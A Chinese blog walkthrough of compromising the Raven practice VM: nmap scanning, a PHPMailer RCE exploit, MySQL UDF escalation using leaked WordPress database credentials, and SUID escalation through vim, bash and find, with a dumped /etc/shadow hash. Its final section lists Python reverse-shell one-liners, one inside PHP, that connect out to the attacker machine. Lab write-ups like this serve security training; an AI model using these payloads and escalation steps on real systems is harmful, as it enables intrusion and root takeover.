Raven靶机渗透

2020-06-01 23:06:00
渗透 - PHPMailer - SUID - UDF

第一次综合渗透,感觉是个挺好玩的靶机,PHPMailer RCE+Mysql UDF+SUID提权。

初步探测

第一次渗透靶机,细细描述渗透过程。

首先nmap探测主机:

root@zhang:/home# nmap -sP 192.168.40.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-29 23:21 CST
Nmap scan report for 192.168.40.1
Host is up (0.00030s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.40.2
Host is up (0.00012s latency).
MAC Address: 00:50:56:E1:08:EB (VMware)
Nmap scan report for 192.168.40.145
Host is up (0.00029s latency).
MAC Address: 00:0C:29:D1:11:E9 (VMware)
Nmap scan report for 192.168.40.254
Host is up (0.00028s latency).
MAC Address: 00:50:56:EC:50:6F (VMware)
Nmap scan report for 192.168.40.130
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 3.21 seconds

nmap的sP命令类似于ping命令,因为是在自己的虚拟机上所以我知道145就是靶机地址。

用-A综合探测一下:

root@zhang:/home# nmap -A 192.168.40.145
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-29 23:43 CST
Nmap scan report for 192.168.40.145
Host is up (0.00058s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          36898/udp  status
|_  100024  1          39093/tcp  status
MAC Address: 00:0C:29:D1:11:E9 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

开了80端口,放了个web服务,那么就看一下。

拿御剑扫扫目录,发现是个wordpress站,再扫扫扫到了/vendor

PATH项显示了当前路径为:/var/www/html/vendor/,得到flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}。

另外还收集到了信息有:

  • PHPMailer
  • version:5.2.16

反弹shell

发现kali一个searchsploit工具挺好用。

searchsploit phpmailer:

--------------------------------------- ----------------------------------------
 Exploit Title                         |  Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
PHPMailer 1.7 - 'Data()' Remote Denial | exploits/php/dos/25752.txt
PHPMailer < 5.2.18 - Remote Code Execu | exploits/php/webapps/40968.php
PHPMailer < 5.2.18 - Remote Code Execu | exploits/php/webapps/40970.php
PHPMailer < 5.2.18 - Remote Code Execu | exploits/php/webapps/40974.py
PHPMailer < 5.2.19 - Sendmail Argument | exploits/multiple/webapps/41688.rb
PHPMailer < 5.2.20 - Remote Code Execu | exploits/php/webapps/40969.pl
PHPMailer < 5.2.20 / SwiftMailer < 5.4 | exploits/php/webapps/40986.py
PHPMailer < 5.2.20 with Exim MTA - Rem | exploits/php/webapps/42221.py
PHPMailer < 5.2.21 - Local File Disclo | exploits/php/webapps/43056.py
WordPress PHPMailer 4.6 - Host Header  | exploits/php/remote/42024.rb

复制到当前目录

searchsploit  -m 40974

exp改下,路径为我们上面获取到的路径,目标为contact.php页面,payload写个一句话直接连上去。

成功连上马儿。

在www上成功找到flag2{fc3fd58dcdad9ab23faca6e9a36e581c},find命令查flag发现权限不够。

UDF提权

ps -ef看下哪些是root命令运行的,尝试进行提权。

看到mysql是用root权限在运行的,恰好wordpress需要mysql,理所当然mysql账号密码写在配置文件里面,直接拿出来用。

root
R@v3nSecurity

试了下用python弹个交互shell可以直接登录mysql。

mysql> select version();
select version();
+-----------------+
| version()       |
+-----------------+
| 5.5.60-0+deb8u1 |
+-----------------+

mysqlUDF提权

原理:
udf = ‘user defined function‘,即‘用户自定义函数’。windows文件后缀为‘.dll’,linux为so,常用c语言编写。
通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。将MYSQL账号root转化为系统system权限。
各版本限制:
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

ps -ef|grep详细看一下mysql:

root        910    546  0 01:11 ?        00:00:38 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

uname -a

uname -a
Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux

sqlmap中有现成的lib_mysqludf_sys.so_,在sqlmap找下64位的so,使用extra\cloak\cloak.py解码

cloak.py -d -i so_文件路径 -o so文件输出路径

得到一个so文件,权限不够,先传到/var/tmp中,利用load_file和dumpfile配合写入plugin目录下。

select load_file('/var/tmp/myudf.so') into dumpfile '/usr/lib/mysql/plugin/myudf.so';

sqlmap的so提供了三个函数:

sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。

创建函数:

mysql> create function sys_eval returns integer soname 'myudf.so';
create function sys_eval returns integer soname 'myudf.so';
Query OK, 0 rows affected (0.32 sec)

我们可以直接用select sys_eval ('chmod u+s xxx');`改变SUID。

SUID提权

SUID提权

直接给chmod u+s即可,虽然会报错但不妨碍执行。

试了下vim、find、bash提权。

vim:

debian自带的是vim.tiny,chmod u+s /usr/bin/vim.tiny

www-data@Raven:/var/www/html$ id            
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Raven:/var/www/html$ vim.tiny /etc/shadow
vim.tiny /etc/shadow

root:$6$rFGuQUz8$02awL8e4/jdcf3NSYRv/7pDY.gmiLLspy5j/LhVuCNb0IjGUU22TyfrWAEdYNkE
E.kRjTJAC7jfD.eAmlooxJ.:17756:0:99999:7:::
daemon:*:17755:0:99999:7:::
bin:*:17755:0:99999:7:::
sys:*:17755:0:99999:7:::
sync:*:17755:0:99999:7:::
games:*:17755:0:99999:7:::
man:*:17755:0:99999:7:::
lp:*:17755:0:99999:7:::
mail:*:17755:0:99999:7:::
news:*:17755:0:99999:7:::
uucp:*:17755:0:99999:7:::
proxy:*:17755:0:99999:7:::
www-data:*:17755:0:99999:7:::
backup:*:17755:0:99999:7:::
list:*:17755:0:99999:7:::
irc:*:17755:0:99999:7:::
gnats:*:17755:0:99999:7:::
nobody:*:17755:0:99999:7:::
systemd-timesync:*:17755:0:99999:7:::
systemd-network:*:17755:0:99999:7:::
systemd-resolve:*:17755:0:99999:7:::
systemd-bus-proxy:*:17755:0:99999:7:::
"/etc/shadow" [readonly] 31L, 1173C

bash:

/bin/bash

www-data@Raven:/var/www/html$ bash -p
bash -p
bash-4.3# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

find:

/usr/bin/find

www-data@Raven:/var/www/html$ touch hhhm 
touch hhhm
www-data@Raven:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Raven:/var/www/html$ find hhhm -exec "/bin/sh" \;
find hhhm -exec "/bin/sh" \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

我这边用bash提权后再调用python弹shell即可弹一个root权限的shell,到这里也就完了,对于CTFer来说就是查flag了:

# find / -iname *flag*
/proc/kpageflags
/proc/sys/kernel/acpi_video_flags
/var/www/html/wordpress/wp-includes/images/icon-pointer-flag-2x.png
/var/www/html/wordpress/wp-includes/images/icon-pointer-flag.png
/var/www/flag2.txt
/var/lib/mysql/debian-5.5.flag
/root/flag4.txt
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/lib/x86_64-linux-gnu/perl/5.20.2/bits/waitflags.ph
/usr/share/man/man3/fesetexceptflag.3.gz
/usr/share/man/man3/fegetexceptflag.3.gz
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/module/scsi_mod/parameters/default_dev_flags

打完,收工!

nmap一些常用命令解释

原文链接:https://blog.csdn.net/A_Alger/java/article/details/96501377

nmap -ip地址

nmap -v ip地址 显示扫描过程

nmap -p80,8080 指定端口扫描

nmap -A ip 综合扫描

nmap -O ip 扫描主机操作系统

nmap -iL 文件 扫描指定文件中的IP

nmap -sS SYN扫描 使用SYN半开放扫描

nmap -sT TCP扫描 扫描开放了TCP端口的设备

nmap -F 快速扫描

nmap -sV 版本检测 用于扫描目标主机服务版本号. 探测打开的端口以确定服务/版本信息

nmap -sR RPC扫描

nmap -sU 探测那些UDP端口开放

nmap -sO 用于判断目标主机上使用的是什么协议 探测目标主机支持哪些IP协议

nmap -oX 表示以xml的格式输出结果到以文件

-P0跳过ping的探测,可以加快扫描速度.

-sP ping扫描

-T [0-6]:设置定时模板(越高越快)

一些零零碎碎的东西

  • php调用python弹shell脚本:
<?php system('python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'192.168.40.130\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"""'); ?>
  • 弹nc之后使用python弹交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
  • wpscan,可以直接扫wordpress的站。

  • select @@plugin_dir 可以获取到plugin路径

  • 终端版本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.130",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号